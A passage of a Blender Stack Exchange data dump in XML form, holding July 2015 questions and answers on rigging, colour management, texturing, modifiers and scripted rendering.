&lt;code&gt;generic_executor.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's something you could use as a starting point, it creates a panel in 3dview (right side panel) and allows you to pick a textblock. Whenever you trigger the operator &lt;code&gt;view3d.global_script_runner&lt;/code&gt; , it would look at the name of the selected file and execute it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/zeffii/2b488961226ee1ecefcf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/zeffii/2b488961226ee1ecefcf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-29T08:05:46.740" LastActivityDate="2015-07-29T08:05:46.740" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34727" PostTypeId="1" CreationDate="2015-07-29T06:55:10.393" Score="6" ViewCount="18591" Body="&lt;p&gt;I'm accustomed to doing my rigging in Maya. I enjoy the precision and the constraint system is excellent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to broaden my horizons. Now the rage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the past day and a half i've been messing with Blender's IK system and found it to be terribly bad. The pole target system flips my IK unless I make some pole angle adjustment. I already know how to set up the pole target so my rig doesn't twitch, that's not the problem. The problem is aiming my IK at the pole target WITHOUT having to touch the pole angle. The only way to achieve this is with a bone roll setup that hasn't been adjusted at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How in the hell do you guys do this? Is there some addon i'm missing?&lt;a href=&quot;https://i.stack.imgur.com/JpPl3.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JpPl3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13400" LastActivityDate="2017-05-25T22:06:44.197" Title="Why is Blender's IK pole target system so difficult? Am I missing something?" Tags="&lt;rigging&gt;" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34728" PostTypeId="1" CreationDate="2015-07-29T06:55:17.640" Score="2" ViewCount="2431" Body="&lt;p&gt;I am just working on a bigger WebGL project, using the three.js framework. I am also using Blender as my 3D Software and the latest version of the three.js blender exporter.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;While developing I noticed, that colors seem to be slightly different from the colors I picked in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bVlhO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bVlhO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started tweaking colors via code and when I told the purple material at the straw for example to be the hexcode from Blender (#9081E7), this is what my webgl result looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h0Uu4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h0Uu4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's safe to say that the result looks more like the colors from Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is: why is this happening? And how can I fix it, without telling every single material to have a specific hexcode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked into my straw.json file and noticed that the three.js exporter is exporting colors in rgb values like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;colorDiffuse&quot;: [0.278894,0.219526,0.799103]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible that the engine rounds these values what causes the difference in color?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="5376" LastEditDate="2015-07-29T11:12:49.883" LastActivityDate="2015-07-29T11:12:49.883" Title="Materials from Blender to Three.JS: Colors seem to be different" Tags="&lt;vertex-colors&gt;&lt;color-management&gt;&lt;three.js&gt;&lt;webgl&gt;" AnswerCount="1" CommentCount="10" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34730" PostTypeId="1" AcceptedAnswerId="34731" CreationDate="2015-07-29T07:09:52.177" Score="6" ViewCount="1073" Body="&lt;p&gt;why is it that 50% grey is at 0.5 instead of 0.18 in the color selection panels?&#xA;That doesn't feel consistent with a linear workflow I am used from other apps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2015-07-29T08:28:28.843" Title="50% Grey at 0.5 instead of 0.18?" Tags="&lt;cycles-render-engine&gt;&lt;color-management&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34731" PostTypeId="2" ParentId="34730" CreationDate="2015-07-29T08:28:28.843" Score="9" Body="&lt;p&gt;The color wheel has three options. By default RGB, HSV and Hex(adecimal). The first option, RGB, uses linear color, but the second and the third are color managed. By default they uses the sRGB color space in you display device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question has been noticed by many blender users. You can see further details in &lt;a href=&quot;https://developer.blender.org/T41287&quot; rel=&quot;noreferrer&quot;&gt;this blender development task&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use linear color in all color wheel options, you need to modify the default set up for color management, and set &lt;strong&gt;None&lt;/strong&gt; in the &lt;strong&gt;Display Device&lt;/strong&gt; of you BLEND file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oP9HQ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oP9HQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2015-07-29T08:28:28.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34732" PostTypeId="1" CreationDate="2015-07-29T09:26:29.827" Score="1" ViewCount="35" Body="&lt;p&gt;So, i wanna keep my UV maps moving to Blender Render. Is it possible to do that?&lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2015-07-29T09:26:29.827" Title="keeping UV textures going from Cycles to Blender Render" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2015-07-29T10:31:47.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="34733" PostTypeId="2" ParentId="34728" CreationDate="2015-07-29T09:34:10.077" Score="5" Body="&lt;p&gt;Okay, I found the solution by myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason, why the colors are different in webgl is: the exporter makes use of the rgb values that blender provides. After a lot of research I found out, &lt;strong&gt;the rgb values in blender are not gamma corrected. The Hex values are gamma corrected.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thats why the colors were correct, after I applied the corrected hex-code to the materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since that is a very crappy workflow, I talked to a developer from my team and he did some research on the &lt;a href=&quot;http://threejs.org/docs/#Reference/Renderers/WebGLRenderer&quot; rel=&quot;nofollow noreferrer&quot;&gt;WebGLRenderer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He found out that you can enable a property called &quot;gammaOutput&quot;. If you do that, all colors get gamma corrected by the renderer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;renderer.gammaOutput = true;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LU2Me.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LU2Me.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;compared to the first image in my question you can see the webgl version isn't that dark and oversaturated anymore. The small difference you can still notice comes form the environment lightning in blender.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="5376" LastEditDate="2015-07-29T11:04:42.497" LastActivityDate="2015-07-29T11:04:42.497" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34734" PostTypeId="2" ParentId="34727" CreationDate="2015-07-29T10:02:57.873" Score="5" Body="&lt;p&gt;You are trying to do impossible. Check &lt;a href=&quot;https://blender.stackexchange.com/questions/19754/how-to-set-calculate-pole-angle-of-ik-constraint-so-the-chain-does-not-move/19755#19755&quot;&gt;this&lt;/a&gt; out how &lt;em&gt;Pole target angle&lt;/em&gt; is exactly computed and how the IK works with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You either setup the pole angle or the IK base bone roll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjusting the pole angle is lesser evil, that's how it should be done. Adjusting bone roll ends up in re-binding skin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Source/GameEngine/RobotIKSolver&quot; rel=&quot;nofollow noreferrer&quot;&gt;iTaSC IK solver&lt;/a&gt; would suit better your application than the blender's legacy one, try it out.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-07-30T09:51:04.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34735" PostTypeId="2" ParentId="34683" CreationDate="2015-07-29T10:42:47.277" Score="3" Body="&lt;p&gt;It appears to be because you are trying to cut into the &quot;virtual&quot; geometry created by the mirror. You have set the Mirror modifier to display both sides as if they as edit-able, but the KnifeProject feature doesn't seem to take the mirrored geometry into account (but it is reasonable to expect that it should..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QtZjc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QtZjc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the option with the green square let's you edit both sides, but not project onto both sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D4PK3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D4PK3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c1587.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1587.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Other problems with your model:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have some issues with degenerate geometry (faces with zero area), and faces that you might not be aware of causing non-manifold geometry. Use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pkncf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pkncf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to look for hidden geometry, and in Face selection mode look for Dots on Edges, that's an indication that you have collapse or potentially  &quot;invalid&quot; geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fj4Sb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fj4Sb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the KnifeProject tool has a feature which can limit/extend the distance the cut goes into the geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OT7Mx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OT7Mx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the different between these two cuts (cut from a different Viewing angle than shown so you can see the range of the cut)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kN7J4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kN7J4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-29T11:42:02.563" LastActivityDate="2015-07-29T11:42:02.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34736" PostTypeId="1" AcceptedAnswerId="34739" CreationDate="2015-07-29T13:06:53.887" Score="1" ViewCount="224" Body="&lt;p&gt;character in my blender is Low quality &#xA;&lt;a href=&quot;https://i.stack.imgur.com/uhUqJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uhUqJ.png&quot; alt=&quot;viewport&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but in the render is:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/o4aEm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o4aEm.png&quot; alt=&quot;render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want render quality = quality in 3D view&lt;/p&gt;&#xA;" OwnerUserId="15995" LastEditorUserId="2217" LastEditDate="2015-07-29T14:11:48.437" LastActivityDate="2015-07-29T14:11:48.437" Title="pixulated texture of character" Tags="&lt;texturing&gt;&lt;objects&gt;&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="8" ClosedDate="2015-07-29T14:12:12.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="34737" PostTypeId="1" AcceptedAnswerId="34741" CreationDate="2015-07-29T13:30:59.480" Score="1" ViewCount="1601" Body="&lt;p&gt;I want to have custom vertex normals. I have a brief search, and found the &#xA;&lt;a href=&quot;http://www.blender.org/manual/modifiers/modify/normal_edit.html&quot; rel=&quot;nofollow&quot;&gt;official doc&lt;/a&gt;. It claims that &lt;em&gt;Normal Edit Modifier&lt;/em&gt; can do this, and it is placed in &lt;em&gt;Modify&lt;/em&gt; column of all modifiers. However, in my blender program, the &lt;em&gt;Modify&lt;/em&gt; column only has:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mesh Cache&lt;/li&gt;&#xA;&lt;li&gt;UV Project&lt;/li&gt;&#xA;&lt;li&gt;UV Wrap&lt;/li&gt;&#xA;&lt;li&gt;Vertex Weight Edit&lt;/li&gt;&#xA;&lt;li&gt;Vertex Weight Mix&lt;/li&gt;&#xA;&lt;li&gt;Vertex Weight Proximity&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So where is the Normal Editor? Is it being deprecated? Or replaced by other stuffs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender version 2.73.&lt;/p&gt;&#xA;" OwnerUserId="15992" LastEditorUserId="241" LastEditDate="2015-07-29T13:40:24.307" LastActivityDate="2015-07-29T14:26:39.953" Title="Where is normal edit modifier?" Tags="&lt;modifiers&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34738" PostTypeId="2" ParentId="34611" CreationDate="2015-07-29T13:34:45.690" Score="5" Body="&lt;p&gt;Sampled motion blur is not available in Blender internal when the Full Sample option is enabled in Anti-Aliasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to turn off Full Sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z482o.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-29T13:34:45.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34739" PostTypeId="2" ParentId="34736" CreationDate="2015-07-29T14:05:22.407" Score="1" Body="&lt;p&gt;To get the pixelated look in the view port you have to turn off &lt;em&gt;Mipmaps&lt;/em&gt;.&lt;br&gt;&#xA;That setting is in the user preferences under the &lt;em&gt;System&lt;/em&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4MzSW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4MzSW.png&quot; alt=&quot;mip maps setting&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For a small texture to be rendering like that, both &lt;em&gt;MIP Map&lt;/em&gt; and &lt;em&gt;Interpolation&lt;/em&gt; bust be unchecked. Those settings are in the texture tab of the properties window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/da5ji.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/da5ji.png&quot; alt=&quot;texture settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-07-29T14:05:22.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34740" PostTypeId="1" CreationDate="2015-07-29T14:25:31.763" Score="7" ViewCount="1151" Body="&lt;p&gt;I want to create some glass test tubes with semi transparent fluid content of some different colors. I'd like to see through test tubes on ones behind. There should be no scene background (transparent) and glass should be semi-transparent. Output is RGBA PNG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I have to set Transparent checkbox in Render -&gt; Film.&lt;br&gt;&#xA;I found this for glass:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/12100/how-to-render-semi-transparent-objects-with-transparent-background-as-a-png-with&quot;&gt;how to render semi-transparent objects with transparent background as a png with cycles&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to make fluid content to be as realistic as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be in cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution for light not only as world surface to have effect on objects?&lt;/p&gt;&#xA;" OwnerUserId="15996" LastEditorUserId="2217" LastEditDate="2015-07-29T14:32:59.007" LastActivityDate="2018-04-26T12:45:40.430" Title="howto create glass test tubes with semi-transparent fluid content" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34741" PostTypeId="2" ParentId="34737" CreationDate="2015-07-29T14:26:39.953" Score="3" Body="&lt;p&gt;The modifier you are looking for &lt;em&gt;&lt;a href=&quot;https://www.blender.org/manual/modifiers/modify/normal_edit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Normal Edit&lt;/a&gt;&lt;/em&gt; is under the modify column in the modifiers list, but only in version 2.74 and higher.&lt;br&gt;&#xA;As the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.74/Modeling&quot; rel=&quot;nofollow noreferrer&quot;&gt;release notes&lt;/a&gt; show that feature was added in 2.74.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;This picture is showing version 2.75&lt;/sub&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hHEkj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hHEkj.png&quot; alt=&quot;modifier list&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-07-29T14:26:39.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34742" PostTypeId="2" ParentId="34697" CreationDate="2015-07-29T14:34:44.487" Score="1" Body="&lt;p&gt;As you have a script creating all the scenes, I can think of three approaches, the render farm or way you distribute the render will influence which suits you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to save a file after each scene is created. At the end of your scene creation loop, instead of rendering you save the scene out to it's own file - &lt;code&gt;bpy.ops.wm.save_as_mainfile(filepath='scene'+str(index))&lt;/code&gt;. These individual files can be submitted as separate tasks to the render farm that you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another is to submit each render task after it is created. This will depend on the render farm you are using, if there is an addon that allows you to submit the task from blender then you can add that operator to your script, instead of &lt;code&gt;bpy.ops.render.render()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The third approach would be to alter your script to only contain the tasks you have inside your loop. Use &lt;code&gt;sys.argv&lt;/code&gt; to get a variable passed in when starting blender from the cli and use it as the index value instead of an index range as you loop through. Each machine that starts rendering will be given a different value or range of values to render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;blender -b --python myscript.py -- 5&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;myscript.py could contain -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from sys import argv&#xA;&#xA;SceneIdx = argv[argv.index('--') + 1]&#xA;&#xA;mydata = ReadData('file.dat')&#xA;bpy.data.objects['Cube'].location = mydata[SceneIdx]&#xA;bpy.ops.render.render()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-07-29T14:34:44.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34743" PostTypeId="2" ParentId="11053" CreationDate="2015-07-29T15:15:39.260" Score="2" Body="&lt;p&gt;Addition to maddin45's answer: set the Alpha value in Z Transparency to zero. You may also want to set Specular value to zero, otherwise specular highlights will show up on transparent parts of the faces.&lt;/p&gt;&#xA;" OwnerUserId="15997" LastActivityDate="2015-07-29T15:15:39.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34744" PostTypeId="1" CreationDate="2015-07-29T15:42:27.260" Score="1" ViewCount="314" Body="&lt;p&gt;I recently started having problems with UV mapping. I map the object on the same color yet it has different shades of the color. For example I was mapping a car I'm making for a game and it looked like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interior of that car should all be one gray but it ends up as different shades of gray and some brown even though they are all on the same part of the texture (the texture is only 9 px by 9 px).&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/s05Wk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/s05Wk.png&quot; alt=&quot;model with incorrect colors in side&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/04dtD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/04dtD.png&quot; alt=&quot;model and texture&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15998" LastEditorUserId="2217" LastEditDate="2015-07-29T17:05:50.110" LastActivityDate="2015-07-30T16:01:14.717" Title="Problem with UV Mapping in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-07-29T17:06:19.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="34745" PostTypeId="2" ParentId="34744" CreationDate="2015-07-29T15:55:00.217" Score="0" Body="&lt;p&gt;Try  pressing (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;) in edit mode of the mesh while all the mesh is selected, that will recalculate all the normals, also very important press (&lt;kbd&gt;T&lt;/kbd&gt;) and in edit mode of the mesh while all the mesh is selected find button Remove Doubles. If non of this work try unwrapping the object again.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="241" LastEditDate="2015-07-30T16:01:14.717" LastActivityDate="2015-07-30T16:01:14.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34746" PostTypeId="1" CreationDate="2015-07-29T16:04:29.487" Score="0" ViewCount="843" Body="&lt;p&gt;You know how when you look out into a field of grass you see waves of the gusts blowing along? How do you create that in Blender?&lt;/p&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2015-07-29T16:04:29.487" Title="Grass wind flow in waves" Tags="&lt;particles&gt;&lt;force-fields&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-07-29T18:42:46.247" ContentLicense="CC BY-SA 3.0" />
  <row Id="34747" PostTypeId="1" CreationDate="2015-07-29T16:07:57.777" Score="0" ViewCount="103" Body="&lt;p&gt;Just like we are able to translate most elements in Blender, it would be really nice to be able to do it there. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="15015" LastActivityDate="2015-07-30T06:18:48.440" Title="Is it possible with Python to code G key to move channels up and down in the Dopesheet editor?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34748" PostTypeId="1" CreationDate="2015-07-29T16:38:35.363" Score="0" ViewCount="844" Body="&lt;p&gt;I am creating a poker chip model for Tabletop Simulator.  When I import it it's quite shiny, that is, it reflects light, and I don't want that.&lt;br&gt;&#xA;My research indicates that I have to modify the node and do something with specularity.  However, when I change to node mode Blender tells me that no node is available.&lt;/p&gt;&#xA;" OwnerUserId="15999" LastEditorUserId="2217" LastEditDate="2015-07-29T16:51:53.237" LastActivityDate="2015-07-29T17:03:34.383" Title="Want to Reduce &quot;shininess&quot; of Model" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34749" PostTypeId="1" CreationDate="2015-07-29T17:00:00.853" Score="0" ViewCount="28" Body="&lt;p&gt;I don't even get what is happening with the lines how to i get rid of them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9bdBq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9bdBq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16000" LastEditorDisplayName="user1853" LastEditDate="2015-07-29T17:16:14.600" LastActivityDate="2015-07-29T17:16:14.600" Title="Black lines appear when rendering!" Tags="&lt;rendering&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-07-29T17:10:33.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="34750" PostTypeId="2" ParentId="34748" CreationDate="2015-07-29T17:03:34.383" Score="1" Body="&lt;p&gt;In blender internal set the Specular Intensity value to a smaller (or Zero) value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mPtzU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mPtzU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-29T17:03:34.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34751" PostTypeId="1" CreationDate="2015-07-29T17:34:01.253" Score="5" ViewCount="1279" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8tsDJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8tsDJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;I'm having trouble with imported images in Blender, they don't respond the same way as the native images on Blender do. I save .svg files with Illustrator and it is vector art. I'm just trying to get an embossed look on these images. &lt;/p&gt;&#xA;" OwnerUserId="16002" LastEditorUserId="16002" LastEditDate="2015-07-29T20:36:56.640" LastActivityDate="2015-07-31T14:11:05.213" Title="Importing SVG images to Blender" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34753" PostTypeId="1" AcceptedAnswerId="34754" CreationDate="2015-07-29T18:36:43.310" Score="4" ViewCount="1545" Body="&lt;p&gt;I have 2 linked objects, and I want them to retain the same mesh data, but, on the object level, I want one to have a rotation different than that of the other one. e.g, I want object 1 to have no rotation (at the object level, at least), and I want the second one to be rotated 45 degrees on the z axis. Also, I want it so that when I rotate object 1, object 2 also gets rotated. So, if I rotate object 1 10 degrees on the z axis, then object 2 should be rotated 55 degrees. Is there any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="15235" LastActivityDate="2020-05-02T14:22:16.210" Title="Linked objects with a rotation offset?" Tags="&lt;transforms&gt;&lt;linked-data&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
